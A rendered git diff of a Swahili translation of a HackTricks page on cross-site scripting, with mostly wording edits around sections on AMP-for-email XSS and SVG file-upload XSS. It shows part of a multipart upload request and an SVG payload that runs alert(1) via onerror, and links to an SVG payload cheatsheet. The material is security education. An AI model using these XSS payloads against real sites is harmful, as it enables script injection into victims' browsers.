{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -1340,13 +1358,13 @@ Ikiwa huwezi kuingiza lebo za HTML inaweza kuwa na thamani ya kujaribu **kuingiz
|
|||
|
||||
AMP, ikilenga kuharakisha utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha lebo za HTML zilizosaidiwa na JavaScript kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengee kwa huduma mbalimbali, inayopatikana kupitia [vipengee vya AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Muundo wa [**AMP kwa Barua pepe**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengee maalum vya AMP kwa barua pepe, kuruhusu wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao.
|
||||
Muundo wa [**AMP kwa Barua pepe**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengee maalum vya AMP kwa barua pepe, ikawezesha wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao.
|
||||
|
||||
Mfano wa [**maandishi XSS katika Amp4Email kwenye Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Mfano wa [**maandishi XSS katika Amp4Email katika Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS kupakia faili (svg)
|
||||
|
||||
Pakia kama picha faili kama ifuatavyo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Pakia kama picha faili kama ile ifuatayo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1402,7 +1420,7 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Pata **mizigo zaidi ya SVG** katika [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Pata **mizigo zaidi ya SVG katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Mbinu za JS za Kipekee & Taarifa Husika
|
||||
|
||||
|
@ -1420,18 +1438,18 @@ Pata **mizigo zaidi ya SVG** katika [**https://github.com/allanlw/svg-cheatsheet
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
|
||||
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
Loading…
Reference in a new issue